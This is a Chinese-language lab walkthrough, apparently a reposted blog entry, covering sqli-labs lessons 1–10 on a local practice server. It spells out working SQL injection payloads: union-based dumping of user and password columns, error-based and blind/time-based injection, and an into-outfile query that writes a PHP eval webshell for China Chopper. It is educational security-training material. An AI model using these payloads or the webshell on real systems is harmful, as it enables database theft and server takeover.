sqli-labs1-10基础掌握
Posted -chenxs
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs1-10基础掌握相关的知识,希望对你有一定的参考价值。
00x01基于错误的GET单引号字符型注入
- 首先and 1=2判断是否为数值型sql注入,页面正常,不是
- 然后’测试,发现页面报sql语句错误,存在字符型sql注入
- 猜测参数为单引号闭合,用注释语句将后面的引号注释掉,先尝试#号,页面还是不正常,再尝试--+,发现页面正常显示,那么可以插入sql语句了
- Order by查询字段数,查出来是3
- Union select 1,2,3发现不能回显出指定的1,2,3,因为指定位被id=3的数据占满了,因此将参数改为一个数据库不存在的id值-1,就有回显位了。再次插入union select 1,2,3发现2,3出现在页面上,说明这两个显示位可以被利用;
- 爆当前数据库union select 1,2,database()
- 爆security当中的表,因为回显位有限,因此字段都加上group_concat(),让其显示在一个回显位上,union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=”security”
- 找到敏感表名users,爆出users中所有的字段union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=”security”and table_name=”users”
- 发现敏感字段user,password,爆出字段内容union select 1,group_concat(user),group_concat(password) from users
00x02基于错误的get数值型
1.输入?id=3 and 1=2报错,and 1=1不报错,说明此处是数值型注入
2.直接插入sql语句,后面查询过程跟第一关相似。
00x03 基于错误的-GET单引号变形字符型注入
1.输入?id=3’报错,从报错内容看出可能存在)闭合,那么试试’)--+发现正常显示,说明此处是用(‘’)的方式闭合字符串的字符型注入
2.sql查询爆数据详细见第一关。
00x04基于错误的GET双引号字符型注入
1.输入?id=3’不报错,输入”报sql错误,错误信息里面看见有括号闭合,那么加上“--+发现页面正常显示,说明这是用(“”)闭合的字符串型注入
2.后面操作详见第一关。
00x05 双注入GET单引号字符型注入
- 当输入?id=3时发现没有显示位,?id=-3也没有
- 因此无法使用联合查询注入
- 接着我们在url中输入?id=3’页面出现sql报错语句,加上--+,页面正常显示,说明是单引号闭合字符型注入。
- 页面出现sql语句报错,在这里我们可以使用一种新的注入方式:报错注入
三种报错注入常用的语句:
(1)通过floor报错:
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为想要插入的sql语句
该语句将输出字符长度限制为64个字符;
(2)通过updatexml报错
and updatexml(1,payload,1)
该语句的输出长度限制为32位,
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;
(3)通过ExtractValue报错
and extractvalue(1, payload)
and extractvalue(1, concat(0x7e,payload,0x7e))
输出字符长度限制为32位
6.这里我们使用第一种floor报错语句进行sql注入
?id=3’and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
这里的数据库则是security,而不是security1,这个1是floor报错语句中输出的一部分
7.查询所有数据库时
?id=3’and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
7.运用limit 一个一个的输出
?id=3’and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
8. 下面我们更该我们的payload一个个的查询我们要找的数据即可,这里不再演示
00x06 双注入GET双引号字符型注入
与第5关类似,只不过这一关使用的是 ""的方式闭合字符串
我们只需要将?id=2‘ 改为 ?id=2"即可
其余过程不再赘述,请参考第五关
00x07 导出文件GET字符型注入
1. 当我们输入?id=1‘页面报错,说明可能存在单引号闭合注入
2. 当我们输入?id=1‘ --+页面显示依然不正常,证明不是单引号闭合,尝试’)依然不正常,尝试‘))--+页面显示正常
3. 想了一下,可能会有很多小白和我一样,对数据库file权限和 into outfile这个命令比较陌生,所以在这里科普一下file权限和into outfile这个函数。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令使用的环境:
我们必须知道,服务器上一个可以写入文件的文件夹的完整路径
4.取mysql的目录E:\\phpStudy\\PHPTutorial\\MySQL\\data,然后使用
union select 1,2,3 into outfile "E:\\\\phpStudy\\\\PHPTutorial\\\\MySQL\\\\data\\\\chao.php"尝试写入文件
文件写入成功
需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php
5.可以写入文件到数据库,那么我们可以写入一句话木马上传到数据库中
?id=-3‘)) union select 1,"<?php @eval($_POST[‘chopper‘]);?>",3 into outfile "E:\\\\phpStudy\\\\PHPTutorial\\\\WWW\\\\123456.php" --+
上传成功
6.连接菜刀
7.不能写入的话进入mysql命令行,show variables like ‘%secure%‘;查看当前的secure-file-priv 是什么值,我们把导入的路径改为上面的值就可以了
或者将my.ini中的secure-file-priv的值改为’’.
00x08 布尔型单引号GET盲注
1.?id=2‘ --+ 页面回显正常,不赘述了,这里是单引号字符型注入
2.页面没有显示位,没有数据库报错信息。
我们先尝试一下是否有file权限
http://127.0.0.1/sqli-labs/Less-8/?id=2‘ union select 1,2,3 into outfile "C:\\\\phpStudy\\\\PHPTutorial\\\\WWW\\\\88888.php"--+
上传成功
当然我尝试下了下布尔和时间盲注,都是可以的
3.盲注涉及函数:
length(str):返回字符串str的长度
substr(str,pos,len):将str从pos位置开始截取len长度的字符返回,需要注意的是这里pos的是从1开始的
mid(str,pos,len):和substr()类似
ascii(str):返回字符串str最左边的acsii码(即首字母的acsii码)
ord():同上,返回acsii码
left(str,len):对字符串str左截取len长度
right(str,len):对字符串str右截取len长度
if(a,b,c):条件判断,如果a为true,返回b,否则返回c
4. 盲注有个固定式:and ascii(substr(A,1,1))>B,或者and if(ascii(substr(A,1,1))>B,1,0),这里的A通常是一个select语句,B则是字符或数字的ascii码,他们的中心思想都是通过substr等截取函数以二分法的形式查询逐个匹配想要的信息,这个过程通常都很耗时,所以建议直接写个盲注脚本来跑
00x09 基于时间的GET单引号盲注
1. 时间型盲注和bool型盲注应用场景不同之处在报错的返回上,从less-8我们知道,输入合法时他会返回正常页面“You are in......”,而非法输入时他没有返回任何东西,于是,我们可以根据这个特点跑盲注,通过他不同的返回页面来判断我们匹配的字符是否正确,而在less-9中合法输入与非合法输入它都返回一个页面,就是You are in.....
2. 这样,我们就不能根据他页面的返回内容来判断匹配结果了,因此我们需要用延时函数sleep()对两种输入进行区分,可以构造如下语句:
and if((ascii(substr(database(),1,1)))>114,sleep(5),0)
这里的意思是,如果数据库名首字母的ascii码大于114,那么执行sleep(5),延时5秒,此时标签栏会变成缓冲,于是,我们就可以判断匹配的结果了,盲注脚本与less-8类似,只需要加入sleep函数即可。
3.判断时间型盲注语句:’ and sleep(5)%23
这里用到的是?id=1’ and sleep(5)--+
F12看网络缓存时间,超过5秒就存在时间型盲注
00x10 基于时间的双引号盲注
1.输入’和”都显示正常,尝试?id=3’ and sleep(5)--+,没什么延迟,尝试” and sleep(5)--+延迟时间变为6秒多,说明是双引号的时间型盲注。
以上是关于sqli-labs1-10基础掌握的主要内容,如果未能解决你的问题,请参考以下文章
对于sqli-labs基础篇全程使用sqlmap不用手工注入(七夕礼物!!!)